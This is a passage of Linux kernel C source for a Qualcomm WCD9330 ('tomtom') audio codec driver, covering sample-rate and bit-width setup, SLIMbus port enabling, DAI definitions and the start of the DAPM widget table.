pr_err("%s: Invalid SLIM TX%u port. DAI ID is %d\n",
__func__, tx_port, dai->id);
return -EINVAL;
}
tx_port_reg = TOMTOM_A_CDC_CONN_TX_SB_B1_CTL + (tx_port - 1);
tx_port_reg_val = snd_soc_read(codec, tx_port_reg);
decimator = 0;
if ((tx_port >= 1) && (tx_port <= 6)) {
tx_port_reg_val = tx_port_reg_val & 0x0F;
if (tx_port_reg_val == 0x8)
decimator = tx_port;
} else if ((tx_port >= 7) && (tx_port <= NUM_DECIMATORS)) {
tx_port_reg_val = tx_port_reg_val & 0x1F;
if ((tx_port_reg_val >= 0x8) &&
(tx_port_reg_val <= 0x11)) {
decimator = (tx_port_reg_val - 0x8) + 1;
}
}
if (decimator) { /* SLIM_TX port has a DEC as input */
tx_fs_reg = TOMTOM_A_CDC_TX1_CLK_FS_CTL +
8 * (decimator - 1);
pr_debug("%s: set DEC%u (-> SLIM_TX%u) rate to %u\n",
__func__, decimator, tx_port, sample_rate);
snd_soc_update_bits(codec, tx_fs_reg, 0x07,
tx_fs_rate_reg_val);
} else {
if ((tx_port_reg_val >= 0x1) &&
(tx_port_reg_val <= 0x7)) {
pr_debug("%s: RMIX%u going to SLIM TX%u\n",
__func__, tx_port_reg_val, tx_port);
} else if ((tx_port_reg_val >= 0x8) &&
(tx_port_reg_val <= 0x11)) {
pr_err("%s: ERROR: Should not be here\n",
__func__);
pr_err("%s: ERROR: DEC connected to SLIM TX%u\n",
__func__, tx_port);
return -EINVAL;
} else if (tx_port_reg_val == 0) {
pr_debug("%s: no signal to SLIM TX%u\n",
__func__, tx_port);
} else {
pr_err("%s: ERROR: wrong signal to SLIM TX%u\n",
__func__, tx_port);
pr_err("%s: ERROR: wrong signal = %u\n",
__func__, tx_port_reg_val);
return -EINVAL;
}
}
}
return 0;
}
static void tomtom_set_rxsb_port_format(struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_codec_dai_data *cdc_dai;
struct wcd9xxx_ch *ch;
int port;
u8 bit_sel;
u16 sb_ctl_reg, field_shift;
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
bit_sel = 0x2;
tomtom_p->dai[dai->id].bit_width = 16;
break;
case SNDRV_PCM_FORMAT_S24_LE:
bit_sel = 0x0;
tomtom_p->dai[dai->id].bit_width = 24;
break;
default:
dev_err(codec->dev, "Invalid format\n");
return;
}
cdc_dai = &tomtom_p->dai[dai->id];
list_for_each_entry(ch, &cdc_dai->wcd9xxx_ch_list, list) {
port = wcd9xxx_get_slave_port(ch->ch_num);
if (IS_ERR_VALUE(port) ||
!TOMTOM_VALIDATE_RX_SBPORT_RANGE(port)) {
dev_warn(codec->dev,
"%s: invalid port ID %d returned for RX DAI\n",
__func__, port);
return;
}
port = TOMTOM_CONVERT_RX_SBPORT_ID(port);
if (port <= 3) {
sb_ctl_reg = TOMTOM_A_CDC_CONN_RX_SB_B1_CTL;
field_shift = port << 1;
} else if (port <= 7) {
sb_ctl_reg = TOMTOM_A_CDC_CONN_RX_SB_B2_CTL;
field_shift = (port - 4) << 1;
} else { /* should not happen */
dev_warn(codec->dev,
"%s: bad port ID %d\n", __func__, port);
return;
}
dev_dbg(codec->dev, "%s: sb_ctl_reg %x field_shift %x\n",
__func__, sb_ctl_reg, field_shift);
snd_soc_update_bits(codec, sb_ctl_reg, 0x3 << field_shift,
bit_sel << field_shift);
}
}
static void tomtom_set_tx_sb_port_format(struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_codec_dai_data *cdc_dai;
struct wcd9xxx_ch *ch;
int port;
u8 bit_sel, bit_shift;
u16 sb_ctl_reg;
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
bit_sel = 0x2;
tomtom_p->dai[dai->id].bit_width = 16;
break;
case SNDRV_PCM_FORMAT_S24_LE:
bit_sel = 0x0;
tomtom_p->dai[dai->id].bit_width = 24;
break;
default:
dev_err(codec->dev, "%s: Invalid format %d\n", __func__,
params_format(params));
return;
}
cdc_dai = &tomtom_p->dai[dai->id];
list_for_each_entry(ch, &cdc_dai->wcd9xxx_ch_list, list) {
port = wcd9xxx_get_slave_port(ch->ch_num);
if (IS_ERR_VALUE(port) ||
!TOMTOM_VALIDATE_TX_SBPORT_RANGE(port)) {
dev_warn(codec->dev,
"%s: invalid port ID %d returned for TX DAI\n",
__func__, port);
return;
}
if (port < 6) /* 6 = SLIMBUS TX7 */
bit_shift = TOMTOM_BIT_ADJ_SHIFT_PORT1_6;
else if (port < 10)
bit_shift = TOMTOM_BIT_ADJ_SHIFT_PORT7_10;
else {
dev_warn(codec->dev,
"%s: port ID %d bitwidth is fixed\n",
__func__, port);
return;
}
sb_ctl_reg = (TOMTOM_A_CDC_CONN_TX_SB_B1_CTL + port);
dev_dbg(codec->dev, "%s: reg %x bit_sel %x bit_shift %x\n",
__func__, sb_ctl_reg, bit_sel, bit_shift);
snd_soc_update_bits(codec, sb_ctl_reg, 0x3 <<
bit_shift, bit_sel << bit_shift);
}
}
static int tomtom_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params,
struct snd_soc_dai *dai)
{
struct snd_soc_codec *codec = dai->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(dai->codec);
u8 tx_fs_rate, rx_fs_rate, i2s_bit_mode;
u32 compander_fs;
int ret;
pr_debug("%s: dai_name = %s DAI-ID %x rate %d num_ch %d\n", __func__,
dai->name, dai->id, params_rate(params),
params_channels(params));
switch (params_rate(params)) {
case 8000:
tx_fs_rate = 0x00;
rx_fs_rate = 0x00;
compander_fs = COMPANDER_FS_8KHZ;
break;
case 16000:
tx_fs_rate = 0x01;
rx_fs_rate = 0x20;
compander_fs = COMPANDER_FS_16KHZ;
break;
case 32000:
tx_fs_rate = 0x02;
rx_fs_rate = 0x40;
compander_fs = COMPANDER_FS_32KHZ;
break;
case 48000:
tx_fs_rate = 0x03;
rx_fs_rate = 0x60;
compander_fs = COMPANDER_FS_48KHZ;
break;
case 96000:
tx_fs_rate = 0x04;
rx_fs_rate = 0x80;
compander_fs = COMPANDER_FS_96KHZ;
break;
case 192000:
tx_fs_rate = 0x05;
rx_fs_rate = 0xA0;
compander_fs = COMPANDER_FS_192KHZ;
break;
default:
pr_err("%s: Invalid sampling rate %d\n", __func__,
params_rate(params));
return -EINVAL;
}
switch (substream->stream) {
case SNDRV_PCM_STREAM_CAPTURE:
if (dai->id != AIF4_VIFEED &&
dai->id != AIF4_MAD_TX) {
ret = tomtom_set_decimator_rate(dai, tx_fs_rate,
params_rate(params));
if (ret < 0) {
pr_err("%s: set decimator rate failed %d\n",
__func__, ret);
return ret;
}
}
tomtom->dai[dai->id].rate = params_rate(params);
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
i2s_bit_mode = 0x01;
tomtom->dai[dai->id].bit_width = 16;
break;
case SNDRV_PCM_FORMAT_S24_LE:
tomtom->dai[dai->id].bit_width = 24;
i2s_bit_mode = 0x00;
break;
case SNDRV_PCM_FORMAT_S32_LE:
tomtom->dai[dai->id].bit_width = 32;
i2s_bit_mode = 0x00;
break;
default:
dev_err(codec->dev,
"%s: Invalid format 0x%x\n",
__func__, params_format(params));
return -EINVAL;
}
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_TX_I2S_CTL,
0x20, i2s_bit_mode << 5);
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_TX_I2S_CTL,
0x07, tx_fs_rate);
} else {
/* only generic ports can have sample bit adjustment */
if (dai->id != AIF4_VIFEED &&
dai->id != AIF4_MAD_TX)
tomtom_set_tx_sb_port_format(params, dai);
}
break;
case SNDRV_PCM_STREAM_PLAYBACK:
ret = tomtom_set_interpolator_rate(dai, rx_fs_rate,
compander_fs,
params_rate(params));
if (ret < 0) {
pr_err("%s: set decimator rate failed %d\n", __func__,
ret);
return ret;
}
if (tomtom->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
switch (params_format(params)) {
case SNDRV_PCM_FORMAT_S16_LE:
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_RX_I2S_CTL,
0x20, 0x20);
break;
case SNDRV_PCM_FORMAT_S32_LE:
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_RX_I2S_CTL,
0x20, 0x00);
break;
default:
pr_err("invalid format\n");
break;
}
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_RX_I2S_CTL,
0x03, (rx_fs_rate >> 0x05));
} else {
tomtom_set_rxsb_port_format(params, dai);
tomtom->dai[dai->id].rate = params_rate(params);
}
break;
default:
pr_err("%s: Invalid stream type %d\n", __func__,
substream->stream);
return -EINVAL;
}
return 0;
}
static struct snd_soc_dai_ops tomtom_dai_ops = {
.startup = tomtom_startup,
.shutdown = tomtom_shutdown,
.hw_params = tomtom_hw_params,
.set_sysclk = tomtom_set_dai_sysclk,
.set_fmt = tomtom_set_dai_fmt,
.set_channel_map = tomtom_set_channel_map,
.get_channel_map = tomtom_get_channel_map,
};
static struct snd_soc_dai_driver tomtom_dai[] = {
{
.name = "tomtom_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS_S16_S24_LE,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_rx2",
.id = AIF2_PB,
.playback = {
.stream_name = "AIF2 Playback",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS_S16_S24_LE,
.rate_min = 8000,
.rate_max = 192000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_tx2",
.id = AIF2_CAP,
.capture = {
.stream_name = "AIF2 Capture",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 8,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_rx3",
.id = AIF3_PB,
.playback = {
.stream_name = "AIF3 Playback",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS_S16_S24_LE,
.rate_min = 8000,
.rate_max = 192000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_tx3",
.id = AIF3_CAP,
.capture = {
.stream_name = "AIF3 Capture",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 48000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 2,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_vifeedback",
.id = AIF4_VIFEED,
.capture = {
.stream_name = "VIfeed",
.rates = SNDRV_PCM_RATE_48000,
.formats = TOMTOM_FORMATS,
.rate_max = 48000,
.rate_min = 48000,
.channels_min = 2,
.channels_max = 4,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_mad1",
.id = AIF4_MAD_TX,
.capture = {
.stream_name = "AIF4 MAD TX",
.rates = SNDRV_PCM_RATE_16000,
.formats = TOMTOM_FORMATS_S16_S24_LE,
.rate_min = 16000,
.rate_max = 16000,
.channels_min = 1,
.channels_max = 1,
},
.ops = &tomtom_dai_ops,
},
};
static struct snd_soc_dai_driver tomtom_i2s_dai[] = {
{
.name = "tomtom_i2s_rx1",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF1 Playback",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_i2s_tx1",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF1 Capture",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_i2s_rx2",
.id = AIF1_PB,
.playback = {
.stream_name = "AIF2 Playback",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tomtom_dai_ops,
},
{
.name = "tomtom_i2s_tx2",
.id = AIF1_CAP,
.capture = {
.stream_name = "AIF2 Capture",
.rates = WCD9330_RATES,
.formats = TOMTOM_FORMATS,
.rate_max = 192000,
.rate_min = 8000,
.channels_min = 1,
.channels_max = 4,
},
.ops = &tomtom_dai_ops,
},
};
static int tomtom_codec_enable_slim_chmask(struct wcd9xxx_codec_dai_data *dai,
bool up)
{
int ret = 0;
struct wcd9xxx_ch *ch;
if (up) {
list_for_each_entry(ch, &dai->wcd9xxx_ch_list, list) {
ret = wcd9xxx_get_slave_port(ch->ch_num);
if (ret < 0) {
pr_err("%s: Invalid slave port ID: %d\n",
__func__, ret);
ret = -EINVAL;
} else {
set_bit(ret, &dai->ch_mask);
}
}
} else {
ret = wait_event_timeout(dai->dai_wait, (dai->ch_mask == 0),
msecs_to_jiffies(
TOMTOM_SLIM_CLOSE_TIMEOUT));
if (!ret) {
pr_err("%s: Slim close tx/rx wait timeout\n", __func__);
ret = -ETIMEDOUT;
} else {
ret = 0;
}
}
return ret;
}
static void tomtom_codec_enable_int_port(struct wcd9xxx_codec_dai_data *dai,
struct snd_soc_codec *codec)
{
struct wcd9xxx_ch *ch;
int port_num = 0;
unsigned short reg = 0;
u8 val = 0;
if (!dai || !codec) {
pr_err("%s: Invalid params\n", __func__);
return;
}
list_for_each_entry(ch, &dai->wcd9xxx_ch_list, list) {
if (ch->port >= TOMTOM_RX_PORT_START_NUMBER) {
port_num = ch->port - TOMTOM_RX_PORT_START_NUMBER;
reg = TOMTOM_SLIM_PGD_PORT_INT_EN0 + (port_num / 8);
val = wcd9xxx_interface_reg_read(codec->control_data,
reg);
if (!(val & (1 << (port_num % 8)))) {
val |= (1 << (port_num % 8));
wcd9xxx_interface_reg_write(
codec->control_data, reg, val);
val = wcd9xxx_interface_reg_read(
codec->control_data, reg);
}
} else {
port_num = ch->port;
reg = TOMTOM_SLIM_PGD_PORT_INT_TX_EN0 + (port_num / 8);
val = wcd9xxx_interface_reg_read(codec->control_data,
reg);
if (!(val & (1 << (port_num % 8)))) {
val |= (1 << (port_num % 8));
wcd9xxx_interface_reg_write(codec->control_data,
reg, val);
val = wcd9xxx_interface_reg_read(
codec->control_data, reg);
}
}
}
}
static int tomtom_codec_enable_slimrx(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct wcd9xxx *core;
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
int ret = 0;
struct wcd9xxx_codec_dai_data *dai;
core = dev_get_drvdata(codec->dev->parent);
pr_debug("%s: event called! codec name %s num_dai %d\n"
"stream name %s event %d\n",
__func__, w->codec->name, w->codec->num_dai, w->sname, event);
/* Execute the callback only if interface type is slimbus */
if (tomtom_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS)
return 0;
dai = &tomtom_p->dai[w->shift];
pr_debug("%s: w->name %s w->shift %d event %d\n",
__func__, w->name, w->shift, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
dai->bus_down_in_recovery = false;
tomtom_codec_enable_int_port(dai, codec);
(void) tomtom_codec_enable_slim_chmask(dai, true);
ret = wcd9xxx_cfg_slim_sch_rx(core, &dai->wcd9xxx_ch_list,
dai->rate, dai->bit_width,
&dai->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_disconnect_port(core,
&dai->wcd9xxx_ch_list,
dai->grph);
pr_debug("%s: Disconnect RX port, ret = %d\n",
__func__, ret);
ret = wcd9xxx_close_slim_sch_rx(core, &dai->wcd9xxx_ch_list,
dai->grph);
if (!dai->bus_down_in_recovery)
ret = tomtom_codec_enable_slim_chmask(dai, false);
else
pr_debug("%s: bus in recovery skip enable slim_chmask",
__func__);
break;
}
return ret;
}
static int tomtom_codec_enable_slimvi_feedback(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct wcd9xxx *core = NULL;
struct snd_soc_codec *codec = NULL;
struct tomtom_priv *tomtom_p = NULL;
int ret = 0;
struct wcd9xxx_codec_dai_data *dai = NULL;
if (!w || !w->codec) {
pr_err("%s invalid params\n", __func__);
return -EINVAL;
}
codec = w->codec;
tomtom_p = snd_soc_codec_get_drvdata(codec);
core = dev_get_drvdata(codec->dev->parent);
pr_debug("%s: event called! codec name %s num_dai %d stream name %s\n",
__func__, w->codec->name, w->codec->num_dai, w->sname);
/* Execute the callback only if interface type is slimbus */
if (tomtom_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
pr_err("%s Interface is not correct", __func__);
return 0;
}
pr_debug("%s(): w->name %s event %d w->shift %d\n",
__func__, w->name, event, w->shift);
if (w->shift != AIF4_VIFEED) {
pr_err("%s Error in enabling the tx path\n", __func__);
ret = -EINVAL;
goto out_vi;
}
dai = &tomtom_p->dai[w->shift];
switch (event) {
case SND_SOC_DAPM_POST_PMU:
if (test_bit(VI_SENSE_1, &tomtom_p->status_mask)) {
pr_debug("%s: spkr1 enabled\n", __func__);
/* Enable V&I sensing */
snd_soc_update_bits(codec,
TOMTOM_A_SPKR1_PROT_EN, 0x88, 0x88);
/* Enable spkr VI clocks */
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL, 0xC, 0xC);
}
if (test_bit(VI_SENSE_2, &tomtom_p->status_mask)) {
pr_debug("%s: spkr2 enabled\n", __func__);
/* Enable V&I sensing */
snd_soc_update_bits(codec,
TOMTOM_A_SPKR2_PROT_EN, 0x88, 0x88);
/* Enable spkr VI clocks */
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL, 0x30, 0x30);
}
dai->bus_down_in_recovery = false;
tomtom_codec_enable_int_port(dai, codec);
(void) tomtom_codec_enable_slim_chmask(dai, true);
ret = wcd9xxx_cfg_slim_sch_tx(core, &dai->wcd9xxx_ch_list,
dai->rate, dai->bit_width,
&dai->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_close_slim_sch_tx(core, &dai->wcd9xxx_ch_list,
dai->grph);
if (ret)
pr_err("%s error in close_slim_sch_tx %d\n",
__func__, ret);
if (!dai->bus_down_in_recovery)
ret = tomtom_codec_enable_slim_chmask(dai, false);
if (ret < 0) {
ret = wcd9xxx_disconnect_port(core,
&dai->wcd9xxx_ch_list,
dai->grph);
pr_debug("%s: Disconnect TX port, ret = %d\n",
__func__, ret);
}
if (test_bit(VI_SENSE_1, &tomtom_p->status_mask)) {
/* Disable V&I sensing */
pr_debug("%s: spkr1 disabled\n", __func__);
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL, 0xC, 0x0);
snd_soc_update_bits(codec,
TOMTOM_A_SPKR1_PROT_EN, 0x88, 0x00);
}
if (test_bit(VI_SENSE_2, &tomtom_p->status_mask)) {
/* Disable V&I sensing */
pr_debug("%s: spkr2 disabled\n", __func__);
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL, 0x30, 0x0);
snd_soc_update_bits(codec,
TOMTOM_A_SPKR2_PROT_EN, 0x88, 0x00);
}
break;
}
out_vi:
return ret;
}
/* __tomtom_codec_enable_slimtx: Enable the slimbus slave port
* for TX path
* @codec: Handle to the codec for which the slave port is to be
* enabled.
* @dai_data: The dai specific data for dai which is enabled.
*/
static int __tomtom_codec_enable_slimtx(struct snd_soc_codec *codec,
int event, struct wcd9xxx_codec_dai_data *dai_data)
{
struct wcd9xxx *core;
int ret = 0;
core = dev_get_drvdata(codec->dev->parent);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
dai_data->bus_down_in_recovery = false;
tomtom_codec_enable_int_port(dai_data, codec);
(void) tomtom_codec_enable_slim_chmask(dai_data, true);
ret = wcd9xxx_cfg_slim_sch_tx(core, &dai_data->wcd9xxx_ch_list,
dai_data->rate,
dai_data->bit_width,
&dai_data->grph);
break;
case SND_SOC_DAPM_POST_PMD:
ret = wcd9xxx_close_slim_sch_tx(core,
&dai_data->wcd9xxx_ch_list,
dai_data->grph);
if (!dai_data->bus_down_in_recovery)
ret = tomtom_codec_enable_slim_chmask(dai_data, false);
if (ret < 0) {
ret = wcd9xxx_disconnect_port(core,
&dai_data->wcd9xxx_ch_list,
dai_data->grph);
dev_dbg(codec->dev,
"%s: Disconnect TX port, ret = %d\n",
__func__, ret);
}
break;
}
return ret;
}
/*
* tomtom_codec_enable_slimtx_mad: Callback function that will be invoked
* to setup the slave port for MAD.
* @codec: Handle to the codec
* @event: Indicates whether to enable or disable the slave port
*/
static int tomtom_codec_enable_slimtx_mad(struct snd_soc_codec *codec,
u8 event)
{
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_codec_dai_data *dai;
int dapm_event = SND_SOC_DAPM_POST_PMU;
dai = &tomtom_p->dai[AIF4_MAD_TX];
if (event == 0)
dapm_event = SND_SOC_DAPM_POST_PMD;
dev_dbg(codec->dev,
"%s: mad_channel, event = 0x%x\n",
__func__, event);
return __tomtom_codec_enable_slimtx(codec, dapm_event, dai);
}
/*
* tomtom_codec_enable_slimtx: DAPM widget allback for TX widgets
* @w: widget for which this callback is invoked
* @kcontrol: kcontrol associated with this widget
* @event: DAPM supplied event indicating enable/disable
*/
static int tomtom_codec_enable_slimtx(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol,
int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_codec_dai_data *dai;
dev_dbg(codec->dev,
"%s: codec name %s num_dai %d stream name %s\n",
__func__, w->codec->name,
w->codec->num_dai, w->sname);
/* Execute the callback only if interface type is slimbus */
if (tomtom_p->intf_type != WCD9XXX_INTERFACE_TYPE_SLIMBUS)
return 0;
dev_dbg(codec->dev,
"%s(): w->name %s event %d w->shift %d\n",
__func__, w->name, event, w->shift);
dai = &tomtom_p->dai[w->shift];
return __tomtom_codec_enable_slimtx(codec, event, dai);
}
static int tomtom_codec_enable_ear_pa(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
pr_debug("%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
usleep_range(5000, 5100);
break;
}
return 0;
}
static int tomtom_codec_ear_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
pr_debug("%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_EAR,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
usleep_range(5000, 5100);
break;
default:
break;
}
return 0;
}
static int tomtom_codec_set_iir_gain(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s: event = %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU: /* fall through */
case SND_SOC_DAPM_PRE_PMD:
if (strnstr(w->name, "IIR1", sizeof("IIR1"))) {
snd_soc_write(codec, TOMTOM_A_CDC_IIR1_GAIN_B1_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR1_GAIN_B1_CTL));
snd_soc_write(codec, TOMTOM_A_CDC_IIR1_GAIN_B2_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR1_GAIN_B2_CTL));
snd_soc_write(codec, TOMTOM_A_CDC_IIR1_GAIN_B3_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR1_GAIN_B3_CTL));
snd_soc_write(codec, TOMTOM_A_CDC_IIR1_GAIN_B4_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR1_GAIN_B4_CTL));
} else {
snd_soc_write(codec, TOMTOM_A_CDC_IIR2_GAIN_B1_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR2_GAIN_B1_CTL));
snd_soc_write(codec, TOMTOM_A_CDC_IIR2_GAIN_B2_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR2_GAIN_B2_CTL));
snd_soc_write(codec, TOMTOM_A_CDC_IIR2_GAIN_B3_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR2_GAIN_B3_CTL));
snd_soc_write(codec, TOMTOM_A_CDC_IIR2_GAIN_B4_CTL,
snd_soc_read(codec,
TOMTOM_A_CDC_IIR2_GAIN_B4_CTL));
}
break;
}
return 0;
}
static int tomtom_codec_dsm_mux_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
u8 reg_val, zoh_mux_val = 0x00;
pr_debug("%s: event = %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_POST_PMU:
reg_val = snd_soc_read(codec, TOMTOM_A_CDC_CONN_CLSH_CTL);
if ((reg_val & 0x30) == 0x10)
zoh_mux_val = 0x04;
else if ((reg_val & 0x30) == 0x20)
zoh_mux_val = 0x08;
if (zoh_mux_val != 0x00)
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CONN_CLSH_CTL,
0x0C, zoh_mux_val);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, TOMTOM_A_CDC_CONN_CLSH_CTL,
0x0C, 0x00);
break;
}
return 0;
}
static int tomtom_codec_enable_anc_ear(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int ret = 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
ret = tomtom_codec_enable_anc(w, kcontrol, event);
msleep(50);
snd_soc_update_bits(codec, TOMTOM_A_RX_EAR_EN, 0x10, 0x10);
break;
case SND_SOC_DAPM_POST_PMU:
ret = tomtom_codec_enable_ear_pa(w, kcontrol, event);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, TOMTOM_A_RX_EAR_EN, 0x10, 0x00);
msleep(40);
ret |= tomtom_codec_enable_anc(w, kcontrol, event);
break;
case SND_SOC_DAPM_POST_PMD:
ret = tomtom_codec_enable_ear_pa(w, kcontrol, event);
break;
}
return ret;
}
/* Todo: Have seperate dapm widgets for I2S and Slimbus.
* Might Need to have callbacks registered only for slimbus
*/
static const struct snd_soc_dapm_widget tomtom_dapm_widgets[] = {
/*RX stuff */
SND_SOC_DAPM_OUTPUT("EAR"),
SND_SOC_DAPM_PGA_E("EAR PA", TOMTOM_A_RX_EAR_EN, 4, 0, NULL, 0,
tomtom_codec_enable_ear_pa, SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MIXER_E("DAC1", TOMTOM_A_RX_EAR_EN, 6, 0, dac1_switch,
ARRAY_SIZE(dac1_switch), tomtom_codec_ear_dac_event,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF1 PB", "AIF1 Playback", 0, SND_SOC_NOPM,
AIF1_PB, 0, tomtom_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF2 PB", "AIF2 Playback", 0, SND_SOC_NOPM,
AIF2_PB, 0, tomtom_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_IN_E("AIF3 PB", "AIF3 Playback", 0, SND_SOC_NOPM,
AIF3_PB, 0, tomtom_codec_enable_slimrx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX("SLIM RX1 MUX", SND_SOC_NOPM, TOMTOM_RX1, 0,
&slim_rx_mux[TOMTOM_RX1]),
SND_SOC_DAPM_MUX("SLIM RX2 MUX", SND_SOC_NOPM, TOMTOM_RX2, 0,
&slim_rx_mux[TOMTOM_RX2]),
SND_SOC_DAPM_MUX("SLIM RX3 MUX", SND_SOC_NOPM, TOMTOM_RX3, 0,
&slim_rx_mux[TOMTOM_RX3]),
